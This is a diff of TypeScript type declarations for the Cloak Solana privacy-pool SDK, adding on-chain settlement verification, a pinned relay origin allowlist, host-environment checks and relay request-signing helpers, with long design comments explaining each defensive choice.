+ * every landed transact — including deposits, whose padding slots still emit real nullifiers
+ * (transaction.circom: "the slot still emits a real nullifier ... and consumed on-chain";
+ * shield-pool/src/instructions/transact.rs skips only all-zero nullifiers).
+ *
+ * Nullifier presence is strictly stronger evidence than a signature status:
+ *
+ *   - it is ACCOUNT STATE, so it survives an RPC that has no signature history for the slot
+ *     (Surfpool forks, pruned nodes, a load-balanced endpoint that missed the write); and
+ *   - the nullifier and the output commitments are fields of the SAME proof's public inputs, so
+ *     the only transaction that can create these PDAs is one that also appended exactly our
+ *     output commitments. "Nullifiers exist" therefore means "our outputs are in the tree".
+ *
+ * The signature status is still checked, because it is the only signal that can prove a
+ * DEFINITIVE FAILURE (`err != null`) and because a signature the RPC has never heard of is the
+ * fingerprint of a phantom. It is corroboration, never the sole basis for success.
+ *
+ * LIMIT, stated plainly: a single RPC endpoint that lies about ACCOUNT READS as well cannot be
+ * caught by any single-endpoint client, and this module does not pretend to. It closes the two
+ * observed attacks — a lying relay, and an RPC that lies only about submission/status — and it
+ * downgrades every unproven outcome to an explicit, signature-carrying "unknown" instead of
+ * silently reporting success.
+ */
+
+/**
+ * The RPC surface settlement verification needs, as a structural type rather than a hard
+ * dependency on `Connection`. A real `web3.js` Connection satisfies it; so does a test stub, which
+ * is what lets the phantom-relay / lying-RPC regressions be reproduced without a validator.
+ */
+interface SettlementConnection {
+    getSignatureStatuses(signatures: string[], config?: {
+        searchTransactionHistory?: boolean;
+    }): Promise<{
+        value: Array<{
+            err: unknown | null;
+            confirmationStatus?: string | null;
+        } | null>;
+    }>;
+    getMultipleAccountsInfo(publicKeys: PublicKey[], commitmentOrConfig?: any): Promise<Array<unknown | null>>;
+}
+/**
+ * What the chain says about a submission.
+ *
+ *  - `landed`      the input nullifier PDAs exist: the proof was consumed, so its output
+ *                  commitments are in the tree. This is the ONLY status that may be reported as
+ *                  success.
+ *  - `failed`      the signature is on chain and carries an execution error. Nothing was applied;
+ *                  the inputs are still spendable.
+ *  - `not-landed`  no nullifier PDA exists and the signature (if any) is unknown to the RPC even
+ *                  with `searchTransactionHistory`. The phantom-signature fingerprint.
+ *  - `unknown`     the evidence is contradictory or incomplete — most importantly the case where
+ *                  a status claims confirmation while no nullifier PDA exists. NEVER report this
+ *                  as success and NEVER silently retry it: the caller must surface the signature.
+ */
+type SettlementStatus = "landed" | "failed" | "not-landed" | "unknown";
+interface SettlementVerdict {
+    status: SettlementStatus;
+    /** The signature that was checked, when one was supplied and syntactically usable. */
+    signature: string | null;
+    /** Human-readable statement of what was and was not proven. Safe to put in an error message. */
+    reason: string;
+    /** True when every checkable input nullifier PDA was present on chain. */
+    nullifiersSpent: boolean;
+    /** What `getSignatureStatuses` reported for `signature`. */
+    signatureStatus: "finalized" | "confirmed" | "processed" | "absent" | "error" | "unchecked";
+}
+interface ConfirmSettlementParams {
+    connection: SettlementConnection;
+    programId: PublicKey;
+    mint: PublicKey;
+    /** The proof's public input nullifiers. All-zero entries are padding and are skipped. */
+    inputNullifiers: bigint[];
+    /** The signature the counterparty reported, if it reported one. */
+    signature?: string | null;
+    /** Total time to wait for evidence to appear before giving a verdict. */
+    timeoutMs?: number;
+    pollIntervalMs?: number;
+    onProgress?: (status: string) => void;
+}
+declare function isPlausibleSignature(value: string | null | undefined): value is string;
+/**
+ * Derive the nullifier PDA for each non-zero input nullifier. Zero entries are the program's own
+ * padding sentinel (`transact.rs`: "Skip zero nullifiers (padding inputs)") and create no account.
+ */
+declare function deriveInputNullifierPdas(programId: PublicKey, mint: PublicKey, inputNullifiers: bigint[]): PublicKey[];
+/**
+ * Establish, from chain state, whether a submission landed.
+ *
+ * Polls until either side of the question is answered or `timeoutMs` elapses. Every RPC error is
+ * absorbed into the verdict rather than thrown: "I could not check" is `unknown`, which the caller
+ * must surface — it is never success.
+ */
+declare function confirmTransactSettlement(params: ConfirmSettlementParams): Promise<SettlementVerdict>;
+/**
+ * Gate a DIRECT (self-signed) submission on chain state — X-S-03a.
+ *
+ * `connection.confirmTransaction` is not proof of anything: the campaign's proxy swallowed
+ * `sendTransaction` and answered the follow-up status poll with a fabricated
+ * `{err: null, confirmationStatus: "finalized"}`, and the SDK handed the caller a signature for a
+ * transaction that was never forwarded. A control deposit landed honestly through the same proxy,
+ * so this was not broken plumbing — it was the client believing a status field.
+ *
+ * Throws `SettlementVerificationError` unless the input nullifier PDAs prove the transaction was
+ * applied. The signature is always carried on the error so the caller can look it up.
+ */
+declare function assertDirectSubmissionLanded(params: {
+    connection: SettlementConnection;
+    programId: PublicKey;
+    mint: PublicKey;
+    nullifiers: Array<Uint8Array | bigint>;
+    signature: string;
+    timeoutMs?: number;
+    onProgress?: (status: string) => void;
+}): Promise<SettlementVerdict>;
+
 /**
  * Structured Logger for Cloak SDK
  *
@@ -2059,7 +1840,7 @@ declare function preflightNullifiers(utxos: Utxo[], connection: Connection, prog
  * 2026-01-23T00:51:46.489317Z  INFO cloak::module: 📥 Message key=value
  *
  * Enable via:
- * - SDK config: new CloakSDK({ debug: true })
+ * - Code: setDebugMode(true)
  * - Environment: CLOAK_DEBUG=1 or DEBUG=cloak:*
  */
 type LogLevel = "DEBUG" | "INFO" | "WARN" | "ERROR";
@@ -2510,6 +2291,29 @@ declare function getNullifierPDA(poolPubkey: PublicKey, nullifier: Uint8Array |
  * @returns [PublicKey, bump] - The swap state PDA and its bump seed
  */
 declare function getSwapStatePDA(poolPubkey: PublicKey, nullifier: Uint8Array | Buffer, programId?: PublicKey): [PublicKey, number];
+/**
+ * M-07: derive the per-pool PoolAuthorityConfig PDA (holds the mint-scoped
+ * withdraw-authorizer).
+ *
+ * Seeds: ["pool_authority", pool_mint]
+ */
+declare function getPoolAuthorityConfigPDA(mint?: PublicKey, programId?: PublicKey): [PublicKey, number];
+/**
+ * Registry PDA the relay's recipient-delivery carrier (CLKD1) touches so the carrier transaction is
+ * enumerable via `getSignaturesForAddress`.
+ *
+ * Seed: ["cloak_delivery_registry"] — `DELIVERY_REGISTRY_SEED` in
+ * `services/relay/src/solana/mod.rs::emit_recipient_delivery_carrier`. Mint-independent, exactly
+ * like the chain-note registry: one registry per program, not per pool.
+ */
+declare function getDeliveryRegistryPDA(programId?: PublicKey): PublicKey;
+/**
+ * Registry PDA the relay's compliance chain-note carrier (CLK1) touches.
+ *
+ * Seed: ["cloak_chain_note_registry"] — `CHAIN_NOTE_REGISTRY_SEED` in
+ * `services/relay/src/solana/mod.rs::emit_chain_note_carrier`.
+ */
+declare function getChainNoteRegistryPDA(programId?: PublicKey): PublicKey;
 
 /**
  * On-chain Merkle proof computation
@@ -2571,6 +2375,86 @@ declare function computeProofForLatestDeposit(connection: Connection, merkleTree
     leafIndex: number;
 }>;
 
+/**
+ * The Cloak endpoints THIS BUILD of the SDK is allowed to talk to.
+ *
+ * ── Why this is a checked-in constant and not configuration ───────────────────────────────────
+ * `dist/` is what `package.json` main/module/types resolve to, so `dist/` is what every consumer
+ * executes. Anything a consumer can set at THEIR build or run time — `NODE_ENV`, an environment
+ * variable, a bundler define, a call option — is not a pin, because we do not own the moment it is
+ * resolved. `process.env.NODE_ENV === "production"` in particular is defeated by one line in a
+ * consumer's bundler config or one `NODE_ENV=development` in front of `node`, so it is deliberately
+ * not used anywhere in this package.
+ *
+ * The only value a published artifact carries that a consumer cannot supply is one that was decided
+ * when WE built it. That is this file. It is compiled into the bundle, it is greppable in the
+ * bundle, and changing it requires editing source and rebuilding.
+ *
+ * ── How to point the SDK somewhere else ───────────────────────────────────────────────────────
+ * REPLACE the entry in {@link RELAY_ORIGIN_ALLOWLIST} with your local origin. Do not append:
+ * appending leaves production reachable from a local build, which is exactly the pairing that made
+ * a rehearsal POST real proof data to production (see SQ-F1 in
+ * `src/__tests__/relay-url-no-production-default.test.ts`). Replacing makes production *unreachable*
+ * from a local build, at every egress point, rather than merely "not the default".
+ *
+ *     export const RELAY_ORIGIN_ALLOWLIST: readonly string[] = ["http://127.0.0.1:5500"];
+ *
+ * Inside this repo nothing else has to happen: jest (`roots: src`), `tsx examples/...` and
+ * `scripts/` all resolve `@cloak.dev/sdk` to `src/index.ts` through the tsconfig path mapping, so
+ * they pick the edit up with no build step. Only a consumer that imports `dist/` — the soak harness,
+ * or a web/mobile checkout linked with `file:` / `npm link` — needs `npm run build` afterwards.
+ *
+ * `src/__tests__/relay-origin-lock.test.ts` goes red while the allowlist is local. That is the
+ * mechanism working: a local allowlist cannot be committed or published without one deliberate red
+ * test and a one-line `git diff` saying so. Run `git checkout src/config/relay.ts` before pushing.
+ *
+ * ── Scope, stated honestly ────────────────────────────────────────────────────────────────────
+ * This is an integrity and product-control mechanism, not a security boundary. Anyone who can run
+ * code in the consumer's process can `sed` this literal in `node_modules`, `patch-package` it, alias
+ * the module, monkey-patch `globalThis.fetch`, or skip the SDK entirely. What it buys is that the
+ * correct endpoint is the only one reachable BY ACCIDENT, and that any deviation is a deliberate,
+ * visible, auditable edit.
+ */
+/**
+ * Identity of Cloak's production endpoint. This is a NAME, never a default: no code path in this
+ * SDK falls back to it, and `resolveRelayUrl` still returns `undefined` when the caller passes
+ * nothing (SQ-F1). It exists so a caller who genuinely wants production can say so by importing a
+ * value instead of re-typing a host.
+ */
+declare const CLOAK_PRODUCTION_RELAY_URL = "https://api.cloak.ag";
+/**
+ * The origins this build may send a request to. Enforced at every network egress in the package by
+ * `assertAllowedRelayOrigin` / `relayFetch` in `src/relay/endpoint.ts`, so it covers the entry
+ * points that take a URL directly (`submitTransactToRelay`, `RelayService`, `fetchCommitments`,
+ * `registerViewingKey`, `readMerkleTreeState`, …) and not only the `relayUrl` transact option.
+ *
+ * Typed `readonly string[]` and not `as const` on purpose: a developer replaces the entry, and a
+ * literal tuple type would make that edit a `tsc` error in unrelated files.
+ */
+declare const RELAY_ORIGIN_ALLOWLIST: readonly string[];
+/**
+ * ONE switch, DERIVED — not a second flag to keep in sync.
+ *
+ * True exactly when {@link RELAY_ORIGIN_ALLOWLIST} names a loopback origin, i.e. when this artifact
+ * was built for a local stack. It is what "this build is a production artifact" means for the
+ * localhost-RPC guard, and because it is derived there is no state where the endpoint is local but
+ * the RPC guard is still armed. The single edit above flips both.
+ *
+ * ── Why the build, and not the program id, the RPC URL, or the relay URL ──────────────────────
+ * - **Program id**: identical on mainnet and on the whole local estate by design — a Surfpool fork
+ *   mirrors mainnet, so it carries the same program id (see `src/program/ids.ts`). Zero
+ *   discriminating power.
+ * - **`detectNetworkFromRpcUrl`**: answers "localnet" for any localhost URL and defaults unknown
+ *   strings to "mainnet" (`src/shared/network.ts`). For Surfpool — a localhost URL mirroring
+ *   mainnet — that is exactly inverted, which is why `src/relay/risk-quote.ts` calls it and
+ *   immediately undoes the answer. It also reads its own environment variable.
+ * - **"the relay URL is the production one"**: the same fact as this flag, reached by string
+ *   comparison, and undefined on the `relayUrl: ""` self-submit path.
+ * - **This flag**: fixed at the same instant the endpoint is fixed, unchangeable by a consumer
+ *   without forking, and needs no run-time classification of an attacker-supplied string.
+ */
+declare const BUILD_ALLOWS_LOCAL_ENDPOINTS: boolean;
+
 /**
  * Relay client utilities for fetching data from the relay service
  */
@@ -2625,7 +2509,12 @@ declare function buildMerkleTreeFromRelay(relayUrl: string, options?: {
     maxRetries?: number;
     waitForIndex?: number;
 }): Promise<MerkleTree>;
-declare function buildMerkleTreeFromChain(connection: Connection, programId: PublicKey, merkleTree: PublicKey, onProgress?: (message: string) => void): Promise<MerkleTree>;
+declare function buildMerkleTreeFromChain(connection: Connection, programId: PublicKey, merkleTree: PublicKey, onProgress?: (message: string) => void, 
+/**
+ * The pool mint this tree belongs to. Required in practice: without it a `CloseSwapState` refund
+ * leaf cannot be attributed to a tree, and reconstruction fails closed rather than guess.
+ */
+mint?: PublicKey): Promise<MerkleTree>;
 /**
  * Pre-flight root validation
  *
@@ -2679,261 +2568,204 @@ declare function preflightCheck(relayUrl: string, rootHex: string): Promise<{
 }>;
 
 /**
- * Direct Circom WASM Proof Generation
+ * The SDK's host-environment predicates, in one place (X-S-02C).
+ *
+ * ── The defect this closes ────────────────────────────────────────────────────────────────────
+ * The merkle-from-chain rebuild was guarded by TWO independently written predicates that disagreed
+ * about React Native:
+ *
+ *   - the GATE in `flows/transact.ts` — `!IS_BROWSER && isMerkleClass && relayUrl`, where
+ *     `IS_BROWSER` was `typeof window !== "undefined" || typeof globalThis.document !== "undefined"`,
+ *     with NO React-Native carve-out. React Native defines `window`, so RN read as a browser and the
+ *     last-resort chain replay was silently skipped there.
+ *   - the BUILDER it guards — `relay/client.ts::buildMerkleTreeFromChain`, whose own
+ *     `isBrowser()` short-circuits on `navigator.product === "ReactNative"` and therefore explicitly
+ *     PERMITS React Native to rebuild from chain.
+ *
+ * So one half of the same mechanism classified RN as a browser and the other half classified it as
+ * not-a-browser.
+ *
+ * ── The decision: the BUILDER is right, and the gate was wrong ────────────────────────────────
+ * The browser fails closed for a stated reason — a full signature-history scan is too slow and too
+ * unreliable on a browser main thread, and a browser always has a reachable relay whose tree it can
+ * use instead. Neither half of that reasoning holds for React Native: it is not a browser, it has no
+ * DOM, it is not running on a page's main thread, and on a local node it has no relay-tree fallback
+ * at all. Closing the gate against RN removed its ONLY recovery path from a drifted relay tree —
+ * precisely the class of failure the fallback exists for — while leaving the builder it calls happy
+ * to serve it.
+ *
+ * The alternative reading (make the builder refuse RN too, so the two agree by failing closed
+ * everywhere) was rejected: it agrees by breaking the Cloak mobile wallet, whose merkle path depends
+ * on the carve-out, and it discards a documented, deliberate decision in favour of an undocumented
+ * accident. The gate's own comment never mentions React Native — it argues about SSR — which is what
+ * an accident looks like.
  *
- * This module provides direct proof generation using snarkjs and Circom WASM,
- * matching the approach used in services-new/tests/src/proof.ts
+ * ── Two predicates, deliberately, and the difference is not RN ────────────────────────────────
+ * `isBrowser()` is a HARD REFUSAL — "this host cannot do it at all" — so it demands a real DOM
+ * (`window` AND `document`).
+ * `isBrowserLike()` is a CONSERVATIVE OPT-OUT — "don't start something slow here" — so `window` OR
+ * `document` is enough, which keeps an SSR host that polyfills only `document` from being mistaken
+ * for Node and made to attempt a chain replay.
  *
- * This uses pinned S3-hosted circuit artifacts and does not require
- * a backend prover service.
+ * They differ on SSR on purpose. They must NEVER differ on React Native again, which is why both are
+ * built from the single `isReactNative()` below.
+ *
+ * All three are functions, not module-scope constants: a constant is frozen at import time, so any
+ * host that installs its globals after the bundle loads — and any test that wants to pin the three
+ * environments — reads a stale answer.
  */
-
 /**
- * Default URL for fetching circuit artifacts
- * Hosted in S3 and versioned by build.
+ * True on React Native. `navigator.product === "ReactNative"` is the canonical flag and is what
+ * `proving/artifacts.ts` has always used.
  */
-declare const DEFAULT_CIRCUITS_URL = "https://storage.googleapis.com/cloak-circuits/circuits/0.1.0";
-interface WithdrawRegularInputs {
-    root: bigint;
-    nullifier: bigint;
-    outputs_hash: bigint;
-    public_amount: bigint;
-    amount: bigint;
-    leaf_index: bigint;
-    sk: [bigint, bigint];
-    r: [bigint, bigint];
-    pathElements: bigint[];
-    pathIndices: number[];
-    num_outputs: number;
-    out_addr: bigint[][];
-    out_amount: bigint[];
-    out_flags: number[];
-    var_fee: bigint;
-    rem: bigint;
-}
-interface WithdrawSwapInputs {
-    sk_spend: bigint;
-    r: bigint;
-    amount: bigint;
-    leaf_index: bigint;
-    path_elements: bigint[];
-    path_indices: number[];
-    root: bigint;
-    nullifier: bigint;
-    outputs_hash: bigint;
-    public_amount: bigint;
-    input_mint: bigint[];
-    output_mint: bigint[];
-    recipient_ata: bigint[];
-    min_output_amount: bigint;
-    var_fee: bigint;
-    rem: bigint;
-}
-interface ProofResult {
-    proof: Groth16Proof;
-    publicSignals: string[];
-    proofBytes: Uint8Array;
-    publicInputsBytes: Uint8Array;
-}
+declare function isReactNative(): boolean;
 /**
- * Generate Groth16 proof for regular withdrawal using Circom WASM
+ * True only on a real browser: a DOM host with both `window` and `document`, and not React Native.
  *
- * This matches the approach in services-new/tests/src/proof.ts
+ * Use for HARD refusals — work this host genuinely cannot perform.
+ */
+declare function isBrowser(): boolean;
+/**
+ * True on a browser OR on a DOM-ish host such as SSR that defines only one of `window`/`document`,
+ * and false on React Native and on Node.
  *
- * @param inputs - Circuit inputs
- * @param circuitsPath - Ignored. Proof generation always uses pinned S3 circuits.
+ * Use for CONSERVATIVE opt-outs — expensive work that should not be started speculatively.
  */
-declare function generateWithdrawRegularProof(inputs: WithdrawRegularInputs, circuitsPath: string): Promise<ProofResult>;
+declare function isBrowserLike(): boolean;
+
 /**
- * Generate Groth16 proof for swap withdrawal using Circom WASM
+ * How long the relay accepts a signed request after its `auth_issued_at`
+ * (`REQUEST_AUTH_MAX_AGE_SECONDS`, `api/request_auth.rs`).
  *
- * This matches the approach in services-new/tests/src/proof.ts
+ * A FIRST-USE request past this window is rejected outright. The expiry exception the relay grants
+ * applies only to an exact replay of a request whose durable row already exists, which by
+ * definition never happens for a request that has not been accepted once.
+ */
+declare const REQUEST_AUTH_MAX_AGE_SECONDS = 300;
+/**
+ * How far ahead of the relay's clock a request may be stamped
+ * (`REQUEST_AUTH_MAX_FUTURE_SKEW_SECONDS`, `api/request_auth.rs`).
  *
- * @param inputs - Circuit inputs
- * @param circuitsPath - Ignored. Proof generation always uses pinned S3 circuits.
+ * `auth_issued_at` comes from `Date.now()`. On a server that is NTP-disciplined; in a browser it
+ * is the user's own machine clock, and a laptop more than 30 seconds fast cannot authenticate at
+ * all until its clock is corrected.
  */
-declare function generateWithdrawSwapProof(inputs: WithdrawSwapInputs, circuitsPath: string): Promise<ProofResult>;
+declare const REQUEST_AUTH_MAX_FUTURE_SKEW_SECONDS = 30;
 /**
- * Check if circuits are available from the pinned S3 source.
+ * The exact fields each endpoint signs. Both lists mirror the relay's `*_auth_request` builders and
+ * must stay in lockstep with them: adding a field on one side alone silently invalidates every
+ * signature, and the failure surfaces as a bare 401 with nothing pointing here.
  */
-declare function areCircuitsAvailable(circuitsPath: string): Promise<boolean>;
+declare const TRANSACT_AUTH_FIELDS: readonly ["encrypted_notes", "max_fee", "mint", "proof_bytes", "public_inputs", "recipient", "recipient_delivery_notes", "risk_quote", "sender"];
+declare const TRANSACT_SWAP_AUTH_FIELDS: readonly ["close_timed_out", "dexes", "encrypted_notes", "exclude_dexes", "max_fee", "min_output_amount", "output_mint", "proof_bytes", "public_inputs", "recipient", "recipient_ata", "refund_blinding", "refund_pubkey", "retry_request_id", "risk_quote", "route_retry_attempts", "sender", "slippage_bps", "swap_max_retries"];
 /**
- * Get default circuits URL.
+ * Serialize exactly like the relay's `canonical_json`: keys sorted bytewise, no whitespace.
+ *
+ * SCOPE. This is the SDK's half of a byte-for-byte agreement with one specific Rust function over
+ * one specific schema: the values reachable through {@link TRANSACT_AUTH_FIELDS} and
+ * {@link TRANSACT_SWAP_AUTH_FIELDS}, which are ASCII keys over strings, small unsigned integers,
+ * booleans, nulls, arrays and plain objects. Inside that schema the two implementations agree.
+ *
+ * Outside it they need not, so anything that could serialize differently on the two sides is
+ * REFUSED here rather than signed into a digest that silently fails to match:
+ *
+ *  - Non-integer, non-finite and beyond-safe-integer numbers. `serde_json` renders an f64 as Rust
+ *    does (`1e21`) where JavaScript renders `1e+21`, and `0.1 + 0.2` has no single spelling. Every
+ *    number in both field lists is a small unsigned integer (`slippage_bps`, `route_retry_attempts`,
+ *    `swap_max_retries`); u64 amounts already travel as decimal STRINGS for exactly this reason.
+ *  - Functions and symbols as object VALUES. `JSON.stringify` drops such a key from the wire body
+ *    while it stays in the signed view, so the two digests can never agree.
+ *
+ * `undefined` is NOT refused: it serializes as `null` here, `JSON.stringify` omits the key on the
+ * wire, and every optional field on the relay side is `Option<T>` with `#[serde(default)]`, so the
+ * relay sees `null` too. That is the same agreement {@link buildAuthRequest} relies on. The one
+ * field where it does not hold is `slippage_bps`, which is why that field is checked by name.
+ *
+ * `bigint` is accepted and rendered as a bare decimal integer, matching serde's u64/i64 output.
+ * Note that such a value cannot also go on the wire: `JSON.stringify` throws on a bigint. Use a
+ * decimal string in the body, as every SDK-built body does.
  */
-declare function getDefaultCircuitsPath(): Promise<string>;
+declare function canonicalJson(value: unknown): string;
 /**
- * Pinned circuit artifact hashes (SHA-256).
+ * Everything an authenticated request needs EXCEPT the signature: the three fields that go on the
+ * wire alongside it, plus the exact bytes to sign.
+ *
+ * This exists because the holder of the pen is not always a `Keypair`. A browser wallet adapter
+ * exposes `signMessage(bytes): Promise<Uint8Array>` and no secret key at all, so the scheme has to
+ * be reachable in two halves: build the preimage here, sign it wherever the key actually lives,
+ * then put `sender` / `auth_issued_at` / `auth_nonce` and the base64 signature on the body.
  *
- * These hashes must be updated whenever the trusted circuit artifacts change.
+ * `message` is a plain ed25519 detached-signature preimage — nothing about the scheme changes
+ * between a local keypair and a wallet, only who signs it.
  */
-declare const EXPECTED_CIRCUIT_HASHES: {
-    withdraw_regular_wasm: string;
-    withdraw_regular_zkey: string;
-    withdraw_swap_wasm: string;
-    withdraw_swap_zkey: string;
-};
+interface RelayAuthPreimage {
+    sender: string;
+    auth_issued_at: string;
+    auth_nonce: string;
+    message: Uint8Array;
+}
 /**
- * Circuit verification result
+ * Build the signed view and its preimage for one request, WITHOUT signing.
+ *
+ * `sender` is bound into the signed view and returned for the body — the relay rejects a request
+ * whose authenticated sender is not also present inside the signed payload. It must be the end
+ * user's own wallet: `sender` is the key screened for sanctions on a shield-to-shield send, so
+ * substituting an ephemeral or service key here moves the screening off the actual user.
+ *
+ * `nonce` and `issued_at` are generated here, once per call. Callers that re-POST a request must
+ * reuse the same preimage rather than rebuilding it, or the relay sees a brand-new request.
  */
-interface CircuitVerificationResult {
-    /** Whether verification passed */
-    valid: boolean;
-    /** Which circuit was checked */
-    circuit: 'withdraw_regular' | 'withdraw_swap';
-    /** Error message if verification failed */
-    error?: string;
-    computed?: {
-        wasm: string;
-        zkey: string;
-    };
-    expected?: {
-        wasm: string;
-        zkey: string;
-    };
-}
+declare function buildRelayAuthPreimage(endpoint: string, programId: PublicKey, body: Record<string, unknown>, sender: PublicKey, nowSeconds?: number, fields?: readonly string[]): RelayAuthPreimage;
 /**
- * Verify circuit integrity by checking verification key hashes
- *
- * This function fetches the verification key and computes its hash,
- * then compares against the expected hash embedded in the SDK.
- *
- * IMPORTANT: If the hashes don't match, the circuit may produce proofs
- * that will be rejected by the on-chain verifier!
+ * An async message signer standing in for a `Keypair`.
  *
- * @param circuitsPath - Ignored. Verification always uses pinned S3 circuits.
- * @param circuit - Which circuit to verify ('withdraw_regular' or 'withdraw_swap')
- * @returns Verification result
+ * A browser wallet adapter has no secret key to hand over — it exposes `signMessage`, and what
+ * this scheme needs signed is a plain ed25519 detached signature, which is exactly what that
+ * produces. Only the holder of the pen changes.
  *
- * @example
- * ```typescript
- * const result = await verifyCircuitIntegrity('https://storage.googleapis.com/cloak-circuits/circuits/0.1.0', 'withdraw_regular');
- * if (!result.valid) {
- *   console.error('Circuit verification failed:', result.error);
- *   // Don't proceed with proof generation!
- * }
- * ```
+ * COMPLIANCE — `walletPublicKey` becomes the request's authenticated `sender`, and `sender` is the
+ * key screened for sanctions on a shield-to-shield send. It MUST be the end user's own wallet.
+ * Putting an ephemeral, service-held or otherwise substituted key here moves the screening onto a
+ * key that is not the user: a compliance regression, not a shortcut.
  */
-declare function verifyCircuitIntegrity(circuitsPath: string, circuit: 'withdraw_regular' | 'withdraw_swap'): Promise<CircuitVerificationResult>;
+interface RelayAuthSigner {
+    /** The end user's real wallet. Becomes the authenticated `sender`. Never an ephemeral key. */
+    walletPublicKey: PublicKey;
+    /** Wallet-adapter `signMessage`; must return the 64-byte ed25519 detached signature. */
+    signMessage: (message: Uint8Array) => Promise<Uint8Array>;
+}
 /**
- * Verify all circuits before use
- *
- * Call this at SDK initialization to ensure circuits are valid.
+ * Turn a relay rejection into something the person in front of the screen can act on.
  *
- * @param circuitsPath - Ignored. Verification always uses pinned S3 circuits.
- * @returns Array of verification results (one per circuit)
+ * Every string matched here is an `Error::Unauthorized` from `api/request_auth.rs`, and all of them
+ * arrive as the same bare 401. Two of them are not the caller's mistake at all: an approval that
+ * sat too long, and a machine clock that is simply wrong. Returns `null` for anything that is not
+ * an authentication rejection, so callers can append it only when there is something to add.
  */
-declare function verifyAllCircuits(circuitsPath: string): Promise<CircuitVerificationResult[]>;
+declare function explainRelayAuthRejection(responseText: string): string | null;
 
 /**
- * Pending Operations Manager
+ * The circuit artifacts this SDK build proves against.
  *
- * Utility for persisting pending deposit/withdrawal operations in browser storage.
- * This enables recovery if the browser crashes or user navigates away mid-operation.
+ * One program, one circuit, one bundle: the deployed shield-pool embeds the
+ * ceremony verifying key, so any other artifact set produces proofs the program
+ * rejects (0x1010). There is deliberately no table, no bundle registry and no
+ * version negotiation here -- an SDK build either matches the deployed program
+ * or it is the wrong build.
  *
- * IMPORTANT: This uses localStorage by default which has security implications.
- * Notes contain sensitive spending keys - consider using more secure storage
- * in production (e.g., encrypted IndexedDB, secure enclave).
- */
-
-/**
- * Pending deposit record
- */
-interface PendingDeposit {
-    /** The note (contains spending secrets!) */
-    note: CloakNote;
-    /** When the deposit was initiated */
-    startedAt: number;
-    /** Transaction signature if available */
-    txSignature?: string;
-    /** Status of the deposit */
-    status: "pending" | "tx_sent" | "confirmed" | "failed";
-    /** Error message if failed */
-    error?: string;
-}
-/**
- * Pending withdrawal record
- */
-interface PendingWithdrawal {
-    /** The relay request ID (for resumption) */
-    requestId: string;
-    /** The note commitment being withdrawn */
-    commitment: string;
-    /** The nullifier being used */
-    nullifier: string;
-    /** When the withdrawal was initiated */
-    startedAt: number;
-    /** Status of the withdrawal */
-    status: "pending" | "processing" | "completed" | "failed";
-    /** Transaction signature if completed */
-    txSignature?: string;
-    /** Error message if failed */
-    error?: string;
-}
-/**
- * Save a pending deposit
- * Call this BEFORE sending the on-chain transaction to ensure note is persisted
- */
-declare function savePendingDeposit(deposit: PendingDeposit): void;
-/**
- * Load all pending deposits
- */
-declare function loadPendingDeposits(): PendingDeposit[];
-/**
- * Update a pending deposit status
- */
-declare function updatePendingDeposit(commitment: string, updates: Partial<PendingDeposit>): void;
-/**
- * Remove a pending deposit (e.g., after successful confirmation)
- */
-declare function removePendingDeposit(commitment: string): void;
-/**
- * Clear all pending deposits
- */
-declare function clearPendingDeposits(): void;
-/**
- * Save a pending withdrawal
- * Call this when you receive the request_id from the relay
- */
-declare function savePendingWithdrawal(withdrawal: PendingWithdrawal): void;
-/**
- * Load all pending withdrawals
- */
-declare function loadPendingWithdrawals(): PendingWithdrawal[];
-/**
- * Update a pending withdrawal status
- */
-declare function updatePendingWithdrawal(requestId: string, updates: Partial<PendingWithdrawal>): void;
-/**
- * Remove a pending withdrawal (e.g., after successful completion)
- */
-declare function removePendingWithdrawal(requestId: string): void;
-/**
- * Clear all pending withdrawals
- */
-declare function clearPendingWithdrawals(): void;
-/**
- * Check if there are any pending operations that need recovery
- * Call this on page load to determine if recovery UI should be shown
- */
-declare function hasPendingOperations(): boolean;
-/**
- * Get summary of pending operations for recovery UI
- */
-declare function getPendingOperationsSummary(): {
-    deposits: PendingDeposit[];
-    withdrawals: PendingWithdrawal[];
-    totalPending: number;
-};
-/**
- * Clean up stale pending operations
- * Call this periodically to remove old failed/completed operations
+ * The digests are the security control: `loadVerifiedCircuitArtifacts` hashes
+ * whatever it fetched and refuses to prove on a mismatch, so a compromised or
+ * stale CDN cannot feed this build artifacts from another ceremony.
  *
- * @param maxAgeMs Maximum age in milliseconds before an operation is removed (default: 24 hours)
+ * Published and verified 2026-08-12; re-verify after any publish with
+ * `packages/scripts/publish-circuits.sh --verify-only`. Two things that publish
+ * established, both worth keeping in mind here:
+ *   - the prefix once held a half-finished upload (zkey and wasm, no witness
+ *     helpers), which is exactly what these digests defend against;
+ *   - the edge served the previous wasm for ~50 minutes after a correct upload,
+ *     so uploading the right bytes is not the same as serving them.
  */
-declare function cleanupStalePendingOperations(maxAgeMs?: number): {
-    removedDeposits: number;
-    removedWithdrawals: number;
-};
+declare const TRANSACTION_CIRCUITS_VERSION = "0.2.0";
 
 /**
  * UTXO Transaction Methods
@@ -2944,23 +2776,161 @@ declare function cleanupStalePendingOperations(maxAgeMs?: number): {
  * - partialWithdraw(): Withdraw with change
  */
 
-declare const DEFAULT_TRANSACTION_CIRCUITS_URL = "https://storage.googleapis.com/cloak-circuits/circuits/0.1.0";
+/**
+ * Can this host attempt the last-resort "rebuild the merkle tree from chain" recovery?
+ *
+ * X-S-02C: this gate and the builder it guards (`buildMerkleTreeFromChain`, which refuses only on a
+ * real browser and EXPLICITLY permits React Native) used to be written separately and disagreed —
+ * RN defines `window`, so the old inline `typeof window !== "undefined" || typeof document !==
+ * "undefined"` classified RN as a browser and skipped the rebuild, removing RN's only recovery path
+ * from a drifted relay tree while the builder was perfectly willing to serve it. Both now come from
+ * `shared/environment`, so they cannot disagree about React Native again.
+ *
+ * The SSR conservatism is kept: `isBrowserLike()` is true when EITHER `window` or `document` exists,
+ * because an SSR host that polyfills only `document` must not be mistaken for Node and made to run a
+ * full signature-history scan.
+ *
+ * A function, not a module-scope constant: the constant was frozen at import time, so a host that
+ * installs its globals after the bundle loads read a stale answer.
+ */
+declare function canRebuildMerkleTreeFromChain(): boolean;
+
+/**
+ * Base the ceremony-frozen `transaction` artifacts are fetched from by default.
+ *
+ * Derived from {@link TRANSACTION_CIRCUITS_BASE_URL} — the same record that pins the
+ * digests — so the version in the URL and the digests checked against it cannot
+ * drift apart. It is `null` while this SDK build pins no location whose bytes
+ * were verified to hash to those digests; that makes an unconfigured SDK a
+ * `tsc` error at the call site (`setCircuitsPath(DEFAULT_TRANSACTION_CIRCUITS_URL)`
+ * does not type-check against `string`) and an immediate, explanatory throw at
